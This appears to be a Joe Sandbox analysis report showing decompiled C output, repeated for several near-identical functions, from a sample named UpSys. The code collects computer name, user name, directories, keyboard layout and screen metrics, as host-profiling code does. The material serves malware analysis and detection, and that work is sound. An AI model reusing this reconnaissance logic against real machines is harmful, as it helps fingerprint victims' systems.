				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t264 + 0x3c0) < 0) goto 0x40084f63;
				_t172 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t264 + 0x3c0 + _t172 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t172, _t173, _t264 + 0x60, _t259, _t262, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t173, _t262, _t172);
				_t262[2] = r12d;
				 *_t262 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t259 = _t172;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t172, _t264 + 0xa0);
				 *(_t264 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L8;
				_t112 = E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = r12d;
				_t262[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t173, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084b09
                                                                                                                                                                                                        0x140084b09
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: cc1bfe28fc659052502f18a81e6301a3e0cd36f67d5fc58168dc2a9169a91e16
                                                                                                                                                                                                        • Instruction ID: 5b9674df1acc00e124e64c27d6bc743eefda24ac21016a0029ba55153dda1de0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cc1bfe28fc659052502f18a81e6301a3e0cd36f67d5fc58168dc2a9169a91e16
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BEC0123260869081E7355755B055B9F2290F74D344F501115638A07DA4CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084B10 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084B10(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t165;
				intOrPtr _t166;
				intOrPtr _t167;
				intOrPtr _t168;
				signed long long _t171;
				signed int* _t172;
				signed int* _t173;
				void* _t229;
				intOrPtr _t239;
				int* _t261;
				void* _t263;

				_t258 = __rsi;
				_t172 = __rbx;
				 *(_t263 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t165 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t165 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t263 + 0x48)) = __r14;
				 *((long long*)(_t263 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t165 + 0x3e)) - r14b, _t263 + 0x48);
				 *_t165();
				E0000000114003DF10(_t263 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t261, __rsi);
				 *_t261 = r14d;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 6;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 3;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 9;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 5;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 0xa;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 2;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 7;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 8;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 0x40;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 0x41;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 0x42;
				E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = 0x43;
				E00000001140042150(_t172[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t166 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t166 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t229 =  ==  ? L"X86" : L"X64";
				_t167 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t167 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t167 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t167 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t167 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t167 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t167 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t158 =  *((intOrPtr*)(_t167 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t167 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t168 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t168 + 8));
				_t239 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t168, _t172, _t261, _t239 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t263 + 0x20)) = _t263 + 0xa0;
				E00000001140015DE0(_t172, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t263 + 0x20)) = _t263 + 0xa0;
				E00000001140015DE0(_t172, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t263 + 0x628) =  *(_t263 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t263 + 0xa0) & 0x0000ffff, _t158, _t263 + 0xa0, _t172, _t263 + 0xa0, _t258);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t263 + 0x3c0, L"1, 0, 0, 0"), _t263 + 0x3c0) <= 0) goto 0x40084f9c;
				_t173 = _t263 + 0x3c0;
				_t92 =  *(_t263 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t173 = 0x2e;
				goto 0x40084f7f;
				 *_t173 = _t92;
				_t172 =  &(_t173[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t263 + 0x3c0) < 0) goto 0x40084f63;
				_t171 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t263 + 0x3c0 + _t171 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t171, _t172, _t263 + 0x60, _t258, _t261, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t172, _t261, _t171);
				_t261[2] = r12d;
				 *_t261 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t258 = _t171;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t171, _t263 + 0xa0);
				 *(_t263 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L7;
				_t112 = E00000001140007A40(_t172, _t261, _t258);
				 *_t261 = r12d;
				_t261[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t172, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084b10
                                                                                                                                                                                                        0x140084b10
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 2311ee971decc7ab51509f41c163bbb9bfc0e1cbe8c72086ff1a9496e304dbf5
                                                                                                                                                                                                        • Instruction ID: 28037837a00c7772a134e73ef360abe3e30f2bca8f00bd84b75fb2614d035aef
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2311ee971decc7ab51509f41c163bbb9bfc0e1cbe8c72086ff1a9496e304dbf5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B4C0123260869081E7359795B055B5F2290F74D344F501115638A07D64DF38C110DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084B02 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084B02(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t167;
				intOrPtr _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				signed long long _t173;
				signed int* _t174;
				signed int* _t175;
				void* _t231;
				intOrPtr _t241;
				int* _t263;
				void* _t265;

				_t260 = __rsi;
				_t174 = __rbx;
				 *(_t265 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t167 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t167 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t265 + 0x48)) = __r14;
				 *((long long*)(_t265 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t167 + 0x3e)) - r14b, _t265 + 0x48);
				 *_t167();
				E0000000114003DF10(_t265 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t263, __rsi);
				 *_t263 = r14d;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 6;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 3;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 9;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 5;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 0xa;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 2;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 7;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 8;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 0x40;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 0x41;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 0x42;
				E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = 0x43;
				E00000001140042150(_t174[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t168 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t168 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t231 =  ==  ? L"X86" : L"X64";
				_t169 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t169 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t169 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t169 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t169 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t169 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t169 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t160 =  *((intOrPtr*)(_t169 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t169 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t170 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t170 + 8));
				_t241 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t170, _t174, _t263, _t241 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t265 + 0x20)) = _t265 + 0xa0;
				E00000001140015DE0(_t174, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t265 + 0x20)) = _t265 + 0xa0;
				E00000001140015DE0(_t174, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t265 + 0x628) =  *(_t265 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t265 + 0xa0) & 0x0000ffff, _t160, _t265 + 0xa0, _t174, _t265 + 0xa0, _t260);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t265 + 0x3c0, L"1, 0, 0, 0"), _t265 + 0x3c0) <= 0) goto 0x40084f9c;
				_t175 = _t265 + 0x3c0;
				_t92 =  *(_t265 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t175 = 0x2e;
				goto 0x40084f7f;
				 *_t175 = _t92;
				_t174 =  &(_t175[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t265 + 0x3c0) < 0) goto 0x40084f63;
				_t173 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t265 + 0x3c0 + _t173 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t173, _t174, _t265 + 0x60, _t260, _t263, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t174, _t263, _t173);
				_t263[2] = r12d;
				 *_t263 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t260 = _t173;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t173, _t265 + 0xa0);
				 *(_t265 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L9;
				_t112 = E00000001140007A40(_t174, _t263, _t260);
				 *_t263 = r12d;
				_t263[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t174, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084b02
                                                                                                                                                                                                        0x140084b02
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
